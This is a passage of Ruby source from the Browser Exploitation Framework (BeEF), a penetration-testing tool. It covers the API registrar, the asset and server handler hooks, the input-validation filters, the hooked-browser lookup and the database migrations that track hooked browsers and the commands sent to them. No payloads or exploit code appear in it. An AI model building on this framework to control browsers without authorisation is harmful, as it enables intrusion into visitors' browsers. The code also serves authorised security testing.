- https://beefproject.com # See the file 'doc/COPYING' for copying permission # module BeEF module API module NetworkStack module Handlers module AssetHandler # Binds a file to be accessible by the hooked browser # @param [String] file file to be served # @param [String] path URL path to be bound, if no path is specified a randomly generated one will be used # @param [String] extension to be used in the URL # @param [Integer] count amount of times the file can be accessed before being automatically unbound. (-1 = no limit) # @return [String] URL bound to the specified file # @todo Add hooked browser parameter to only allow specified hooked browsers access to the bound URL. Waiting on Issue #336 # @note This is a direct API call and does not have to be registered to be used def self.bind(file, path = nil, extension = nil, count = -1) BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind(file, path, extension, count) end # Unbinds a file made accessible to hooked browsers # @param [String] url the bound URL # @todo Add hooked browser parameter to only unbind specified hooked browsers binds. Waiting on Issue #336 # @note This is a direct API call and does not have to be registered to be used def self.unbind(url) BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.unbind(url) end end end end end end ================================================ FILE: core/api/main/server/hook.rb ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # module BeEF module API module Server module Hook # @note Defined API Paths API_PATHS = { 'pre_hook_send' => :pre_hook_send }.freeze # Fires just before the hook is sent to the hooked browser # @param [Class] handler the associated handler Class def pre_hook_send(handler); end end end end end ================================================ FILE: core/api/main/server.rb ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # module BeEF module API module Server # @note Defined API Paths API_PATHS = { 'mount_handler' => :mount_handler, 'pre_http_start' => :pre_http_start }.freeze # Fires just before the HTTP Server is started # @param [Object] http_hook_server HTTP Server object def pre_http_start(http_hook_server); end # Fires just after handlers have been mounted # @param [Object] server HTTP Server object def mount_handler(server); end # Mounts a handler # @param [String] url URL to be mounted # @param [Class] http_handler_class the handler Class # @param [Array] args an array of arguments # @note This is a direct API call and does not have to be registered to be used def self.mount(url, http_handler_class, args = nil) BeEF::Core::Server.instance.mount(url, http_handler_class, *args) end # Unmounts a handler # @param [String] url URL to be unmounted # @note This is a direct API call and does not have to be registered to be used def self.unmount(url) BeEF::Core::Server.instance.unmount(url) end end end end ================================================ FILE: core/api/module.rb ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # module BeEF module API module Command end module Module # @note Defined API Paths API_PATHS = { 'pre_soft_load' => :pre_soft_load, 'post_soft_load' => :post_soft_load, 'pre_hard_load' => :pre_hard_load, 'post_hard_load' => :post_hard_load, 'get_options' => :get_options, 'get_payload_options' => :get_payload_options, 'override_execute' => :override_execute }.freeze # Fired before a module soft load # @param [String] mod module key of module about to be soft loaded def pre_soft_load(mod); end # Fired after module soft load # @param [String] mod module key of module just after soft load def post_soft_load(mod); end # Fired before a module hard load # @param [String] mod module key of module about to be hard loaded def pre_hard_load(mod); end # Fired after module hard load # @param [String] mod module key of module just after hard load def post_hard_load(mod); end # Fired before standard module options are returned # @return [Hash] a hash of options # @note the option hash is merged with all other API hook's returned hash. Hooking this API method prevents the default options being returned. def get_options; end # Fired just before a module is executed # @param [String] mod module key # @param [String] hbsession hooked browser session id # @param [Hash] opts a Hash of options # @note Hooking this API method stops the default flow of the Module.execute() method. def override_execute(mod, hbsession, opts); end # Fired when retreiving dynamic payload # @return [Hash] a hash of options # @note the option hash is merged with all other API hook's returned hash. Hooking this API method prevents the default options being returned. def get_payload_options; end end end end ================================================ FILE: core/api/modules.rb ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # module BeEF module API module Modules # @note Defined API Paths API_PATHS = { 'post_soft_load' => :post_soft_load }.freeze # Fires just after all modules are soft loaded def post_soft_load; end end end end ================================================ FILE: core/api.rb ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # module BeEF module API # # Registrar class to handle all registered timed API calls # class Registrar include Singleton # # Create registrar # def initialize @registry = [] @count = 1 end # Register timed API calls to an owner # # @param [Class] owner the owner of the API hook # @param [Class] clss the API class the owner would like to hook into # @param [String] method the method of the class the owner would like to execute # @param [Array] params an array of parameters that need to be matched before the owner will be called # def register(owner, clss, method, params = []) unless verify_api_path(clss, method) print_error "API Registrar: Attempted to register non-existent API method #{clss} :#{method}" return end if registered?(owner, clss, method, params) print_debug "API Registrar: Attempting to re-register API call #{clss} :#{method}" return end id = @count @registry << { 'id' => id, 'owner' => owner, 'class' => clss, 'method' => method, 'params' => params } @count += 1 id end # # Tests whether the owner is registered for an API hook # # @param [Class] owner the owner of the API hook # @param [Class] clss the API class # @param [String] method the method of the class # @param [Array] params an array of parameters that need to be matched # # @return [Boolean] whether or not the owner is registered # def registered?(owner, clss, method, params = []) @registry.each do |r| next unless r['owner'] == owner next unless r['class'] == clss next unless r['method'] == method next unless is_matched_params? r, params return true end false end # # Match a timed API call to determine if an API.fire() is required # # @param [Class] clss the target API class # @param [String] method the method of the target API class # @param [Array] params an array of parameters that need to be matched # # @return [Boolean] whether or not the arguments match an entry in the API registry # def matched?(clss, method, params = []) @registry.each do |r| next unless r['class'] == clss next unless r['method'] == method next unless is_matched_params? r, params return true end false end # # Un-registers an API hook # # @param [Integer] id the ID of the API hook # def unregister(id) @registry.delete_if { |r| r['id'] == id } end # # Retrieves all the owners and ID's of an API hook # @param [Class] clss the target API class # @param [String] method the method of the target API class # @param [Array] params an array of parameters that need to be matched # # @return [Array] an array of hashes consisting of two keys :owner and :id # def get_owners(clss, method, params = []) owners = [] @registry.each do |r| next unless r['class'] == clss next unless r['method'] == method next unless is_matched_params? r, params owners << { owner: r['owner'], id: r['id'] } end owners end # # Verifies that the api_path has been regitered # Verifies the API path has been registered. # # @note This is a security precaution # # @param [Class] clss the target API class to verify # @param [String] mthd the target method to verify # def verify_api_path(clss, mthd) (clss.const_defined?('API_PATHS') && clss.const_get('API_PATHS').key?(mthd)) end # # Retrieves the registered symbol reference for an API hook # # @param [Class] clss the target API class to verify # @param [String] mthd the target method to verify # # @return [Symbol] the API path # def get_api_path(clss, mthd) verify_api_path(clss, mthd) ? clss.const_get('API_PATHS')[mthd] : nil end # # Matches stored API params to params # # @note If a stored API parameter has a NilClass the parameter matching is skipped for that parameter # @note By default this method returns true, this is either because the API.fire() did not include any parameters or there were no parameters defined for this registry entry # # @param [Hash] reg hash of registry element, must contain 'params' key # @param [Array] params array of parameters to be compared to the stored parameters # # @return [Boolean] whether params matches the stored API parameters # def is_matched_params?(reg, params) stored = reg['params'] return true unless stored.length == params.length stored.each_index do |i| next if stored[i].nil? return false unless stored[i] == params[i] end true end # # Fires all owners registered to this API hook # # @param [Class] clss the target API class # @param [String] mthd the target API method # @param [Array] *args parameters passed for the API call # # @return [Hash, NilClass] returns either a Hash of :api_id and :data # if the owners return data, otherwise NilClass # def fire(clss, mthd, *args) mods = get_owners(clss, mthd, args) return nil unless mods.length.positive? unless verify_api_path(clss, mthd) && clss.ancestors.first.to_s.start_with?('BeEF::API') print_error "API Path not defined for Class: #{clss} method: #{mthd}" return [] end data = [] method = get_api_path(clss, mthd) mods.each do |mod| # Only used for API Development (very verbose) # print_info "API: #{mod} fired #{method}" result = mod[:owner].method(method).call(*args) data << { api_id: mod[:id], data: result } unless result.nil? rescue StandardError => e print_error "API Fire Error: #{e.message} in #{mod}.#{method}()" end data end end end end require 'core/api/module' require 'core/api/modules' require 'core/api/extension' require 'core/api/extensions' require 'core/api/main/migration' require 'core/api/main/network_stack/assethandler' require 'core/api/main/server' require 'core/api/main/server/hook' require 'core/api/main/configuration' ================================================ FILE: core/bootstrap.rb ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # module BeEF module Core end end ## @note Include the BeEF router require 'core/main/router/router' require 'core/main/router/api' ## @note Include http server functions for beef require 'core/main/server' require 'core/main/handlers/modules/beefjs' require 'core/main/handlers/modules/legacybeefjs' require 'core/main/handlers/modules/multistagebeefjs' require 'core/main/handlers/modules/command' require 'core/main/handlers/commands' require 'core/main/handlers/hookedbrowsers' require 'core/main/handlers/browserdetails' # @note Include the network stack require 'core/main/network_stack/handlers/dynamicreconstruction' require 'core/main/network_stack/handlers/redirector' require 'core/main/network_stack/handlers/raw' require 'core/main/network_stack/assethandler' require 'core/main/network_stack/api' # @note Include the autorun engine require 'core/main/autorun_engine/parser' require 'core/main/autorun_engine/engine' require 'core/main/autorun_engine/rule_loader' ## @note Include helpers require 'core/module' require 'core/modules' require 'core/extension' require 'core/extensions' require 'core/hbmanager' ## @note Include RESTful API require 'core/main/rest/handlers/hookedbrowsers' require 'core/main/rest/handlers/browserdetails' require 'core/main/rest/handlers/modules' require 'core/main/rest/handlers/categories' require 'core/main/rest/handlers/logs' require 'core/main/rest/handlers/admin' require 'core/main/rest/handlers/server' require 'core/main/rest/handlers/autorun_engine' require 'core/main/rest/api' ## @note Include Websocket require 'core/main/network_stack/websocket/websocket' ================================================ FILE: core/core.rb ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # module BeEF module Core end end # @note Includes database models - the order must be consistent otherwise DataMapper goes crazy require 'core/main/model' require 'core/main/models/commandmodule' require 'core/main/models/hookedbrowser' require 'core/main/models/log' require 'core/main/models/command' require 'core/main/models/result' require 'core/main/models/optioncache' require 'core/main/models/browserdetails' require 'core/main/models/rule' require 'core/main/models/execution' require 'core/main/models/legacybrowseruseragents' # @note Include the constants require 'core/main/constants/browsers' require 'core/main/constants/commandmodule' require 'core/main/constants/os' require 'core/main/constants/hardware' # @note Include core modules for beef require 'core/main/configuration' require 'core/main/command' require 'core/main/crypto' require 'core/main/logger' require 'core/main/migration' require 'core/main/geoip' # @note Include the command line parser and the banner printer require 'core/main/console/commandline' require 'core/main/console/banners' ================================================ FILE: core/extension.rb ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # module BeEF module Extension # Checks to see if extension is set inside the configuration # @param [String] ext the extension key # @return [Boolean] whether or not the extension exists in BeEF's configuration def self.is_present(ext) BeEF::Core::Configuration.instance.get('beef.extension').key? ext.to_s end # Checks to see if extension is enabled in configuration # @param [String] ext the extension key # @return [Boolean] whether or not the extension is enabled def self.is_enabled(ext) return false unless is_present(ext) BeEF::Core::Configuration.instance.get("beef.extension.#{ext}.enable") == true end # Checks to see if extension has been loaded # @param [String] ext the extension key # @return [Boolean] whether or not the extension is loaded def self.is_loaded(ext) return false unless is_enabled(ext) BeEF::Core::Configuration.instance.get("beef.extension.#{ext}.loaded") == true end # Loads an extension # @param [String] ext the extension key # @return [Boolean] whether or not the extension loaded successfully def self.load(ext) if File.exist? "#{$root_dir}/extensions/#{ext}/extension.rb" require "#{$root_dir}/extensions/#{ext}/extension.rb" print_debug "Loaded extension: '#{ext}'" BeEF::Core::Configuration.instance.set "beef.extension.#{ext}.loaded", true return true end print_error "Unable to load extension '#{ext}'" false rescue StandardError => e print_error "Unable to load extension '#{ext}':" print_more e.message end end end ================================================ FILE: core/extensions.rb ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # module BeEF module Extensions # Returns configuration of all enabled extensions # @return [Array] an array of extension configuration hashes that are enabled def self.get_enabled BeEF::Core::Configuration.instance.get('beef.extension').select { |_k, v| v['enable'] == true } rescue StandardError => e print_error "Failed to get enabled extensions: #{e.message}" print_error e.backtrace end # Returns configuration of all loaded extensions # @return [Array] an array of extension configuration hashes that are loaded def self.get_loaded BeEF::Core::Configuration.instance.get('beef.extension').select { |_k, v| v['loaded'] == true } rescue StandardError => e print_error "Failed to get loaded extensions: #{e.message}" print_error e.backtrace end # Load all enabled extensions # @note API fire for post_load def self.load BeEF::Core::Configuration.instance.load_extensions_config get_enabled.each do |k, _v| BeEF::Extension.load k end # API post extension load BeEF::API::Registrar.instance.fire BeEF::API::Extensions, 'post_load' rescue StandardError => e print_error "Failed to load extensions: #{e.message}" print_error e.backtrace end end end ================================================ FILE: core/filters/base.rb ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # module BeEF module Filters # Check if the string is not empty and not nil # @param [String] str String for testing # @return [Boolean] Whether the string is not empty def self.is_non_empty_string?(str) return false if str.nil? return false unless str.is_a? String return false if str.empty? true end # Check if only the characters in 'chars' are in 'str' # @param [String] chars List of characters to match # @param [String] str String for testing # @return [Boolean] Whether or not the only characters in str are specified in chars def self.only?(chars, str) regex = Regexp.new('[^' + chars + ']') regex.match(str.encode('UTF-8', invalid: :replace, undef: :replace, replace: '')).nil? end # Check if one or more characters in 'chars' are in 'str' # @param [String] chars List of characters to match # @param [String] str String for testing # @return [Boolean] Whether one of the characters exists in the string def self.exists?(chars, str) regex = Regexp.new(chars) !regex.match(str.encode('UTF-8', invalid: :replace, undef: :replace, replace: '')).nil? end # Check for null char # @param [String] str String for testing # @return [Boolean] If the string has a null character def self.has_null?(str) return false unless is_non_empty_string?(str) exists?('\x00', str) end # Check for non-printable char # @param [String] str String for testing # @return [Boolean] Whether or not the string has non-printable characters def self.has_non_printable_char?(str) return false unless is_non_empty_string?(str) !only?('[:print:]', str) end # Check if num characters only # @param [String] str String for testing # @return [Boolean] If the string only contains numbers def self.nums_only?(str) return false unless is_non_empty_string?(str) only?('0-9', str) end # Check if valid float # @param [String] str String for float testing # @return [Boolean] If the string is a valid float def self.is_valid_float?(str) return false unless is_non_empty_string?(str) return false unless only?('0-9\.', str) !(str =~ /^\d+\.\d+$/).nil? end # Check if hex characters only # @param [String] str String for testing # @return [Boolean] If the string only contains hex characters def self.hexs_only?(str) return false unless is_non_empty_string?(str) only?('0123456789ABCDEFabcdef', str) end # Check if first character is a number # @param [String] String for testing # @return [Boolean] If the first character of the string is a number def self.first_char_is_num?(str) return false unless is_non_empty_string?(str) !(str =~ /^\d.*/).nil? end # Check for space characters: \t\n\r\f # @param [String] str String for testing # @return [Boolean] If the string has a whitespace character def self.has_whitespace_char?(str) return false unless is_non_empty_string?(str) exists?('\s', str) end # Check for non word characters: a-zA-Z0-9 # @param [String] str String for testing # @return [Boolean] If the string only has alphanums def self.alphanums_only?(str) return false unless is_non_empty_string?(str) only?('a-zA-Z0-9', str) end # @overload self.is_valid_ip?(ip, version) # Checks if the given string is a valid IP address # @param [String] ip string to be tested # @param [Symbol] version IP version (either :ipv4 or :ipv6) # @return [Boolean] true if the string is a valid IP address, otherwise false # # @overload self.is_valid_ip?(ip) # Checks if the given string is either a valid IPv4 or IPv6 address # @param [String] ip string to be tested # @return [Boolean] true if the string is a valid IPv4 or IPV6 address, otherwise false def self.is_valid_ip?(ip, version = :both) return false unless is_non_empty_string?(ip) if case version.inspect.downcase when /^:ipv4$/ ip =~ /^((25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])\.){3,3} (25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])$/x when /^:ipv6$/ ip =~ /^(([0-9a-f]{1,4}:){7,7}[0-9a-f]{1,4}| ([0-9a-f]{1,4}:){1,7}:| ([0-9a-f]{1,4}:){1,6}:[0-9a-f]{1,4}| ([0-9a-f]{1,4}:){1,5}(:[0-9a-f]{1,4}){1,2}| ([0-9a-f]{1,4}:){1,4}(:[0-9a-f]{1,4}){1,3}| ([0-9a-f]{1,4}:){1,3}(:[0-9a-f]{1,4}){1,4}| ([0-9a-f]{1,4}:){1,2}(:[0-9a-f]{1,4}){1,5}| [0-9a-f]{1,4}:((:[0-9a-f]{1,4}){1,6})| :((:[0-9a-f]{1,4}){1,7}|:)| fe80:(:[0-9a-f]{0,4}){0,4}%[0-9a-z]{1,}| ::(ffff(:0{1,4}){0,1}:){0,1} ((25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9]).){3,3} (25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])| ([0-9a-f]{1,4}:){1,4}: ((25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9]).){3,3} (25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9]))$/ix when /^:both$/ is_valid_ip?(ip, :ipv4) || is_valid_ip?(ip, :ipv6) end true else false end end # Checks if the given string is a valid private IP address # @param [String] ip string for testing # @return [Boolean] true if the string is a valid private IP address, otherwise false # @note Includes RFC1918 private IPv4, private IPv6, and localhost 127.0.0.0/8, but does not include local-link addresses. def self.is_valid_private_ip?(ip) return false unless is_valid_ip?(ip) ip =~ /\A(^127\.)|(^192\.168\.)|(^10\.)|(^172\.1[6-9]\.)|(^172\.2[0-9]\.)|(^172\.3[0-1]\.)|(^::1$)|(^[fF][cCdD])\z/ ? true : false end # Checks if the given string is a valid TCP port # @param [String] port string for testing # @return [Boolean] true if the string is a valid TCP port, otherwise false def self.is_valid_port?(port) valid = false valid = true if port.to_i > 0 && port.to_i < 2**16 valid end # Checks if string is a valid domain name # @param [String] domain string for testing # @return [Boolean] If the string is a valid domain name # @note Only validates the string format. It does not check for a valid TLD since ICANN's list of TLD's is not static. def self.is_valid_domain?(domain) return false unless is_non_empty_string?(domain) return true if domain =~ /^[0-9a-z-]+(\.[0-9a-z-]+)*(\.[a-z]{2,}).?$/i false end # Check for valid browser details characters # @param [String] str String for testing # @return [Boolean] If the string has valid browser details characters # @note This function passes the \302\256 character which translates to the registered symbol (r) def self.has_valid_browser_details_chars?(str) return false unless is_non_empty_string?(str) (str =~ %r{[^\w\d\s()-.,;:_/!\302\256]}).nil? end # Check for valid base details characters # @param [String] str String for testing # @return [Boolean] If the string has only valid base characters # @note This is for basic filtering where possible all specific filters must be implemented # @note This function passes the \302\256 character which translates to the registered symbol (r) def self.has_valid_base_chars?(str) return false unless is_non_empty_string?(str) (str =~ /[^\302\256[:print:]]/).nil? end # Verify the yes and no is valid # @param [String] str String for testing # @return [Boolean] If the string is either 'yes' or 'no' def self.is_valid_yes_no?(str) return false if has_non_printable_char?(str) return false if str !~ /\A(Yes|No)\z/i true end end end ================================================ FILE: core/filters/browser.rb ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # module BeEF module Filters # Check the browser type value - for example, 'FF' # @param [String] str String for testing # @return [Boolean] If the string has valid browser name characters def self.is_valid_browsername?(str) # rubocop:disable Naming/PredicatePrefix return false unless is_non_empty_string?(str) return false if str.length > 2 return false unless has_valid_browser_details_chars?(str) true end # Check the Operating System name value - for example, 'Windows XP' # @param [String] str String for testing # @return [Boolean] If the string has valid Operating System name characters def self.is_valid_osname?(str) # rubocop:disable Naming/PredicatePrefix return false unless is_non_empty_string?(str) return false unless has_valid_browser_details_chars?(str) return false if str.length < 2 true end # Check the Hardware name value - for example, 'iPhone' # @param [String] str String for testing # @return [Boolean] If the string has valid Hardware name characters def self.is_valid_hwname?(str) # rubocop:disable Naming/PredicatePrefix return false unless is_non_empty_string?(str) return false unless has_valid_browser_details_chars?(str) return false if str.length < 2 true end # Verify the browser version string is valid # @param [String] str String for testing # @return [Boolean] If the string has valid browser version characters def self.is_valid_browserversion?(str) # rubocop:disable Naming/PredicatePrefix return false unless is_non_empty_string?(str) return false if has_non_printable_char?(str) return true if str.eql? 'UNKNOWN' return true if str.eql? 'ALL' return false if !nums_only?(str) && !str.match(/\A(0|[1-9][0-9]{0,3})(\.(0|[1-9][0-9]{0,3})){0,3}\z/) return false if str.length > 20 true end # Verify the os version string is valid # @param [String] str String for testing # @return [Boolean] If the string has valid os version characters def self.is_valid_osversion?(str) # rubocop:disable Naming/PredicatePrefix return false unless is_non_empty_string?(str) return false if has_non_printable_char?(str) return true if str.eql? 'UNKNOWN' return true if str.eql? 'ALL' return false unless BeEF::Filters.only?('a-zA-Z0-9.<=> ', str) return false if str.length > 20 true end # Verify the browser/UA string is valid # @param [String] str String for testing # @return [Boolean] If the string has valid browser / ua string characters def self.is_valid_browserstring?(str) # rubocop:disable Naming/PredicatePrefix return false unless is_non_empty_string?(str) return false unless has_valid_browser_details_chars?(str) return false if str.length > 300 true end # Verify the cookies are valid # @param [String] str String for testing # @return [Boolean] If the string has valid cookie characters def self.is_valid_cookies?(str) # rubocop:disable Naming/PredicatePrefix return false unless is_non_empty_string?(str) return false if has_non_printable_char?(str) return false if str.length > 2000 true end # Verify the system platform is valid # @param [String] str String for testing # @return [Boolean] If the string has valid system platform characters def self.is_valid_system_platform?(str) # rubocop:disable Naming/PredicatePrefix return false unless is_non_empty_string?(str) return false unless has_valid_browser_details_chars?(str) return false if str.length > 200 true end # Verify the date stamp is valid # @param [String] str String for testing # @return [Boolean] If the string has valid date stamp characters def self.is_valid_date_stamp?(str) # rubocop:disable Naming/PredicatePrefix return false unless is_non_empty_string?(str) return false if has_non_printable_char?(str) return false if str.length > 200 true end # Verify the CPU type string is valid # @param [String] str String for testing # @return [Boolean] If the string has valid CPU type characters def self.is_valid_cpu?(str) # rubocop:disable Naming/PredicatePrefix return false unless is_non_empty_string?(str) return false if has_non_printable_char?(str) return false if str.length > 200 true end # Verify the memory string is valid # @param [String] str String for testing # @return [Boolean] If the string has valid memory type characters def self.is_valid_memory?(str) # rubocop:disable Naming/PredicatePrefix return false unless is_non_empty_string?(str) return false if has_non_printable_char?(str) return false if str.length > 200 true end # Verify the GPU type string is valid # @param [String] str String for testing # @return [Boolean] If the string has valid GPU type characters def self.is_valid_gpu?(str) # rubocop:disable Naming/PredicatePrefix return false unless is_non_empty_string?(str) return false if has_non_printable_char?(str) return false if str.length > 200 true end # Verify the browser_plugins string is valid # @param [String] str String for testing # @return [Boolean] If the string has valid browser plugin characters # @note This string can be empty if there are no browser plugins # @todo Verify if the ruby version statement is still necessary def self.is_valid_browser_plugins?(str) # rubocop:disable Naming/PredicatePrefix return false unless is_non_empty_string?(str) return false if str.length > 1000 if str.encoding == Encoding.find('UTF-8') # Style/CaseEquality: Avoid the use of the case equality operator `===`. (str =~ /[^\w\d\s()-.,';_!\302\256]/u).nil? else (str =~ /[^\w\d\s()-.,';_!\302\256]/n).nil? end end end end ================================================ FILE: core/filters/command.rb ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # module BeEF module Filters # Check if the string is a valid path from a HTTP request # @param [String] str String for testing # @return [Boolean] If the string has valid path characters def self.is_valid_path_info?(str) return false if str.nil? return false unless str.is_a? String return false if has_non_printable_char?(str) true end # Check if the session id valid # @param [String] str String for testing # @return [Boolean] If the string has valid hook session id characters def self.is_valid_hook_session_id?(str) return false unless is_non_empty_string?(str) return false unless has_valid_key_chars?(str) true end # Check if valid command module datastore key # @param [String] str String for testing # @return [Boolean] If the string has valid command module datastore key characters def self.is_valid_command_module_datastore_key?(str) return false unless is_non_empty_string?(str) return false unless has_valid_key_chars?(str) true end # Check if valid command module datastore value # @param [String] str String for testing # @return [Boolean] If the string has valid command module datastore param characters def self.is_valid_command_module_datastore_param?(str) return false if has_null?(str) return false unless has_valid_base_chars?(str) true end # Check for word and some punc chars # @param [String] str String for testing # @return [Boolean] If the string has valid key characters def self.has_valid_key_chars?(str) return false unless is_non_empty_string?(str) return false unless has_valid_base_chars?(str) true end # Check for word and underscore chars # @param [String] str String for testing # @return [Boolean] If the sting has valid param characters def self.has_valid_param_chars?(str) return false if str.nil? return false unless str.is_a? String return false if str.empty? return false unless (str =~ /[^\w_:]/).nil? true end end end ================================================ FILE: core/filters/http.rb ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # module BeEF module Filters # Verify the hostname string is valid # @param [String] str String for testing # @return [Boolean] If the string is a valid hostname def self.is_valid_hostname?(str) return false unless is_non_empty_string?(str) return false if has_non_printable_char?(str) return false if str.length > 255 return false if (str =~ /^[a-zA-Z0-9][a-zA-Z0-9\-.]*[a-zA-Z0-9]$/).nil? true end def self.is_valid_verb?(verb) %w[HEAD GET POST OPTIONS PUT DELETE].each { |v| return true if verb.eql? v } false end def self.is_valid_url?(uri) return true unless uri.nil? # OPTIONS * is not yet supported # return true if uri.eql? "*" # TODO : CHECK THE normalize_path method and include it somewhere (maybe here) # return true if uri.eql? self.normalize_path(uri) false end def self.is_valid_http_version?(version) # from browsers the http version contains a space at the end ("HTTP/1.0\r") version.gsub!(/\r+/, '') ['HTTP/1.0', 'HTTP/1.1'].each { |v| return true if version.eql? v } false end def self.is_valid_host_str?(host_str) # from browsers the host header contains a space at the end host_str.gsub!(/\r+/, '') return true if 'Host:'.eql?(host_str) false end def normalize_path(path) print_error "abnormal path `#{path}'" if path[0] != '/' ret = path.dup ret.gsub!(%r{/+}o, '/') # // => / while ret.sub!(%r{/\.(?:/|\Z)}, '/'); end # /. => / while ret.sub!(%r{/(?!\.\./)[^/]+/\.\.(?:/|\Z)}, '/'); end # /foo/.. => /foo print_error "abnormal path `#{path}'" if %r{/\.\.(/|\Z)} =~ ret ret end end end ================================================ FILE: core/filters/page.rb ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # module BeEF module Filters # Verify the page title string is valid # @param [String] str String for testing # @return [Boolean] If the string is a valid page title def self.is_valid_pagetitle?(str) return false unless str.is_a? String return false if has_non_printable_char?(str) return false if str.length > 500 # CxF Increased this because some page titles are MUCH longer true end # Verify the page referrer string is valid # @param [String] str String for testing # @return [Boolean] If the string is a valid referrer def self.is_valid_pagereferrer?(str) return false unless str.is_a? String return false if has_non_printable_char?(str) return false if str.length > 350 true end end end ================================================ FILE: core/filters.rb ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # module BeEF module Filters end end # @note Include the filters require 'core/filters/base' require 'core/filters/browser' require 'core/filters/command' require 'core/filters/page' require 'core/filters/http' ================================================ FILE: core/hbmanager.rb ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # module BeEF module HBManager # Get hooked browser by session id # @param [String] sid hooked browser session id string # @return [BeEF::Core::Models::HookedBrowser] returns the associated Hooked Browser def self.get_by_session(sid) BeEF::Core::Models::HookedBrowser.where(session: sid).first end # Get hooked browser by id # @param [Integer] id hooked browser database id # @return [BeEF::Core::Models::HookedBrowser] returns the associated Hooked Browser def self.get_by_id(id) BeEF::Core::Models::HookedBrowser.find(id) end end end ================================================ FILE: core/loader.rb ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # # @note Include here all the gems we are using require 'rubygems' require 'bundler/setup' # For some reason, on Ruby 2.5+, msgpack needs to be loaded first, # else metasploit integration dies due to undefined `to_msgpack`. # Works fine on Ruby 2.4 require 'msgpack' Bundler.require(:default) require 'cgi' require 'yaml' require 'singleton' require 'ipaddr' require 'base64' require 'xmlrpc/client' require 'openssl' require 'eventmachine' require 'thin' require 'rack' require 'em-websocket' require 'uglifier' require 'execjs' require 'ansi' require 'term/ansicolor' require 'json' require 'otr-activerecord' require 'parseconfig' require 'erubis' require 'mime/types' require 'optparse' require 'resolv' require 'digest' require 'zip' require 'logger' # @note Logger require 'core/logger' # @note Include the filters require 'core/filters' # @note Include our patches for ruby and gems require 'core/ruby' # @note Include the API require 'core/api' # @note Include the settings require 'core/settings' # @note Include the core of BeEF require 'core/core' ================================================ FILE: core/logger.rb ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # # # @note log to file # module BeEF class << self attr_writer :logger def logger @logger ||= Logger.new("#{$home_dir}/beef.log").tap do |log| log.progname = name log.level = Logger::WARN end end end end ================================================ FILE: core/main/ar-migrations/001_create_command_modules.rb ================================================ class CreateCommandModules < ActiveRecord::Migration[6.0] def change create_table :command_modules do |t| t.text :name t.text :path end end end ================================================ FILE: core/main/ar-migrations/002_create_hooked_browsers.rb ================================================ class CreateHookedBrowsers < ActiveRecord::Migration[6.0] def change create_table :hooked_browsers do |t| t.text :session t.text :ip t.text :firstseen t.text :lastseen t.text :httpheaders t.text :domain t.integer :port t.integer :count t.boolean :is_proxy end end end ================================================ FILE: core/main/ar-migrations/003_create_logs.rb ================================================ class CreateLogs < ActiveRecord::Migration[6.0] def change create_table :logs do |t| t.text :logtype t.text :event t.datetime :date t.references :hooked_browser end end end ================================================ FILE: core/main/ar-migrations/004_create_commands.rb ================================================ class CreateCommands < ActiveRecord::Migration[6.0] def change create_table :commands do |t| t.references :command_module t.references :hooked_browser t.text :data t.datetime :creationdate t.text :label t.boolean :instructions_sent, default: false end end end ================================================ FILE: core/main/ar-migrations/005_create_results.rb ================================================ class CreateResults < ActiveRecord::Migration[6.0] def change create_table :results do |t| t.references :command t.references :hooked_browser 